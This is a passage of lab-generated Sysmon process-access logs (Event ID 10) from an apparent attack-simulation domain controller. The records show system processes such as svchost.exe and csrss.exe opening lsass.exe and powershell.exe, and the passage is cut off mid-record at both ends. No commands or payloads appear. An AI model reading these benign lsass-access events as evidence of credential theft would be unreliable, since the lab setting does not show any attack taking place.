C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.453","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":926,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.453\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.453","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":927,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.453\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.453","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":928,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.453\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.453","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":929,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.469\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 1240\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-0010693E0100}\r\nTargetProcessId: 2168\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|c:\\windows\\system32\\UBPM.dll+a711|c:\\windows\\system32\\UBPM.dll+f974|c:\\windows\\system32\\UBPM.dll+cd3c|c:\\windows\\system32\\UBPM.dll+d305|c:\\windows\\system32\\UBPM.dll+dc05|c:\\windows\\system32\\UBPM.dll+e91d|c:\\windows\\system32\\UBPM.dll+e12a|c:\\windows\\system32\\UBPM.dll+dd82|c:\\windows\\system32\\EventAggregation.dll+3e22|c:\\windows\\system32\\EventAggregation.dll+389a|c:\\windows\\system32\\EventAggregation.dll+332f|c:\\windows\\system32\\EventAggregation.dll+2e28|C:\\Windows\\SYSTEM32\\ntdll.dll+64ed5|C:\\Windows\\SYSTEM32\\ntdll.dll+64bdd|C:\\Windows\\SYSTEM32\\ntdll.dll+64a40|C:\\Windows\\SYSTEM32\\ntdll.dll+45b70|C:\\Windows\\SYSTEM32\\ntdll.dll+2a073|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.469","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"1240","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-0010693E0100}","TargetProcessId":"2168","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|c:\\windows\\system32\\UBPM.dll+a711|c:\\windows\\system32\\UBPM.dll+f974|c:\\windows\\system32\\UBPM.dll+cd3c|c:\\windows\\system32\\UBPM.dll+d305|c:\\windows\\system32\\UBPM.dll+dc05|c:\\windows\\system32\\UBPM.dll+e91d|c:\\windows\\system32\\UBPM.dll+e12a|c:\\windows\\system32\\UBPM.dll+dd82|c:\\windows\\system32\\EventAggregation.dll+3e22|c:\\windows\\system32\\EventAggregation.dll+389a|c:\\windows\\system32\\EventAggregation.dll+332f|c:\\windows\\system32\\EventAggregation.dll+2e28|C:\\Windows\\SYSTEM32\\ntdll.dll+64ed5|C:\\Windows\\SYSTEM32\\ntdll.dll+64bdd|C:\\Windows\\SYSTEM32\\ntdll.dll+64a40|C:\\Windows\\SYSTEM32\\ntdll.dll+45b70|C:\\Windows\\SYSTEM32\\ntdll.dll+2a073|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":930,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.469\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-0010693E0100}\r\nTargetProcessId: 2168\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.469","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-0010693E0100}","TargetProcessId":"2168","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":931,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.469\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.469","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":932,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.469\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.469","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":933,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.469\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 1240\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {00000000-0000-0000-0000-000000000000}\r\nTargetProcessId: 2184\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|c:\\windows\\system32\\UBPM.dll+a711|c:\\windows\\system32\\UBPM.dll+f974|c:\\windows\\system32\\UBPM.dll+cd3c|c:\\windows\\system32\\UBPM.dll+d305|c:\\windows\\system32\\UBPM.dll+dc05|c:\\windows\\system32\\UBPM.dll+e91d|c:\\windows\\system32\\UBPM.dll+e12a|c:\\windows\\system32\\UBPM.dll+dd82|c:\\windows\\system32\\EventAggregation.dll+3e22|c:\\windows\\system32\\EventAggregation.dll+389a|c:\\windows\\system32\\EventAggregation.dll+332f|c:\\windows\\system32\\EventAggregation.dll+2e28|C:\\Windows\\SYSTEM32\\ntdll.dll+64ed5|C:\\Windows\\SYSTEM32\\ntdll.dll+64bdd|C:\\Windows\\SYSTEM32\\ntdll.dll+64a40|C:\\Windows\\SYSTEM32\\ntdll.dll+45b70|C:\\W